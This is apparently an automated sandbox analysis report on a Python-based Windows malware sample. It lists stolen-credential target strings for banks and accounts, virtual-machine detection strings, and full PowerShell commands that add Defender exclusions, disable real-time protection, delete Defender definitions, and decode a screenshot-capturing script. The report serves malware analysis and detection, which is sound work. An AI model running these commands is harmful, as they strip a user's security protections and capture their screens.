Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1757952150.000001619718F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696497155p
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1757952150.000001619718F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696497155n
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1757952150.000001619718F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696497155d
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1757952150.000001619718F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696497155x
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1765055251.0000016196E10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: qemu-ga
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1765055251.0000016196E10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmware
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1765055251.0000016196E10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmusrvc
Source: getmac.exe, 0000002B.00000003.1439440681.000001ABF5664000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000002B.00000002.1440054173.000001ABF5673000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "SYSTEM\CurrentControlSet\Services\Hyper-V\Linkage"m
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1757952150.000001619718F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696497155}
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1757952150.000001619718F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155^
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1757952150.000001619718F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696497155u
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1757952150.000001619718F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696497155f
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1757952150.000001619718F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696497155
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1757952150.000001619718F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696497155z
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1757952150.000001619718F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696497155s
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1757952150.000001619718F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696497155~
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1765055251.0000016196E10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmwareservice
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1757952150.000001619718F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696497155j
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1757952150.000001619718F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696497155t
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1765055251.0000016196E10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmwareuser
Source: getmac.exe, 0000002B.00000003.1439440681.000001ABF5664000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000002B.00000003.1439025716.000001ABF5695000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000002B.00000002.1440054173.000001ABF5697000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000002B.00000003.1438552704.000001ABF568F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SetPropValue.sSubKeyName("SYSTEM\CurrentControlSet\Services\Hyper-V\Linkage");
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1757952150.000001619718F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696497155]
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1757952150.000001619718F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696497155\|UE
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1757952150.000001619718F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696497155o
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1765055251.0000016196E10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmwaretray
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1757952150.000001619718F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1765770176.00000161971E8000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1766840193.0000016197572000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1457822695.000001619710E000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1439779378.000001619710E000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1431426826.00000161971E8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Requirements: VM Monitor Mode Extensions: No
Source: rar.exe, 00000048.00000002.1644927829.000001F5A5EEA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\8b}\6
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1757952150.000001619718F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696497155
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1757952150.000001619718F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696497155h
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1765055251.0000016196E10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vboxtray
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1757952150.000001619718F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696497155
Source: getmac.exe, 0000002B.00000003.1439025716.000001ABF5695000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000002B.00000002.1440054173.000001ABF5697000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000002B.00000003.1438552704.000001ABF568F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: __PARAMETERSSYSTEM\CurrentControlSet\Services\Hyper-V\LinkageExport
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1757952150.000001619718F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696497155
Source: getmac.exe, 0000002B.00000003.1439440681.000001ABF5664000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000002B.00000002.1440054173.000001ABF5664000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: __PARAMETERSSYSTEM\CurrentControlSet\Services\Hyper-V\Linkageroute
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1757952150.000001619718F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696497155
Source: getmac.exe, 0000002B.00000003.1439440681.000001ABF5664000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000002B.00000002.1440054173.000001ABF5673000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Win32_NetworkProtocolHyper-V RAWHyper-VRAWHyper-V RAWRoot%\system32\dr+
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1757952150.000001619718F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696497155
Source: getmac.exe, 0000002B.00000003.1439440681.000001ABF5664000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000002B.00000002.1440054173.000001ABF5664000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000002B.00000003.1439025716.000001ABF5695000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000002B.00000002.1440054173.000001ABF5697000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000002B.00000003.1438552704.000001ABF568F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SYSTEM\CurrentControlSet\Services\Hyper-V\Linkage
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1765055251.0000016196E10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmtoolsd
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1757952150.000001619718F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696497155t
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1757952150.000001619718F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696497155}
Source: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1757952150.000001619718F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696497155x

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe

Code function: 0_2_00007FF7B110B1B8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00007FF7B110B1B8

Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe

Code function: 0_2_00007FF7B11140D0 GetProcessHeap,

0_2_00007FF7B11140D0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Code function: 0_2_00007FF7B110B1B8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF7B110B1B8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Code function: 0_2_00007FF7B10FBE20 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF7B10FBE20
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Code function: 0_2_00007FF7B10FC6AC IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF7B10FC6AC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Code function: 0_2_00007FF7B10FC88C SetUnhandledExceptionFilter,	0_2_00007FF7B10FC88C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Code function: 2_2_00007FF8E751B970 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00007FF8E751B970
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Code function: 2_2_00007FF8E7553BB0 IsProcessorFeaturePresent,00007FF8F9D619C0,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,00007FF8F9D619C0,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00007FF8E7553BB0
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D314C10 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	72_2_00007FF71D314C10
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D30A66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	72_2_00007FF71D30A66C
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D30B6D8 SetUnhandledExceptionFilter,	72_2_00007FF71D30B6D8
Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	Code function: 72_2_00007FF71D30B52C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	72_2_00007FF71D30B52C

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe'"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe'"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'	Jump to behavior

Bypasses PowerShell execution policy

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB

Encrypted powershell cmdline option found

Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded $source = @"using System;using System.Collections.Generic;using System.Drawing;using System.Windows.Forms;public class Screenshot{ public static List<Bitmap> CaptureScreens() { var results = new List<Bitmap>(); var allScreens = Screen.AllScreens; foreach (Screen screen in allScreens) { try { Rectangle bounds = screen.Bounds; using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height)) { using (Graphics graphics = Graphics.FromImage(bitmap)) { graphics.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size); } results.Add((Bitmap)bitmap.Clone()); } } catch (Exception) { // Handle any exceptions here } } return results; }}"@Add-Type -TypeDefinition $source -ReferencedAssemblies System.Drawing, System.Windows.Forms$screenshots = [Screenshot]::CaptureScreens()for ($i = 0; $i -lt $screenshots.Count; $i++){ $screenshot = $screenshots[$i] $screenshot.Save("./Display ($($i+1)).png") $screenshot.Dispose()}
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded $source = @"using System;using System.Collections.Generic;using System.Drawing;using System.Windows.Forms;public class Screenshot{ public static List<Bitmap> CaptureScreens() { var results = new List<Bitmap>(); var allScreens = Screen.AllScreens; foreach (Screen screen in allScreens) { try { Rectangle bounds = screen.Bounds; using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height)) { using (Graphics graphics = Graphics.FromImage(bitmap)) { graphics.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size); } results.Add((Bitmap)bitmap.Clone()); } } catch (Exception) { // Handle any exceptions here } } return results; }}"@Add-Type -TypeDefinition $source -ReferencedAssemblies System.Drawing, System.Windows.Forms$screenshots = [Screenshot]::CaptureScreens()for ($i = 0; $i -lt $screenshots.Count; $i++){ $screenshot = $screenshots[$i] $screenshot.Save("./Display ($($i+1)).png") $screenshot.Dispose()}

Modifies Windows Defender protection settings

Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
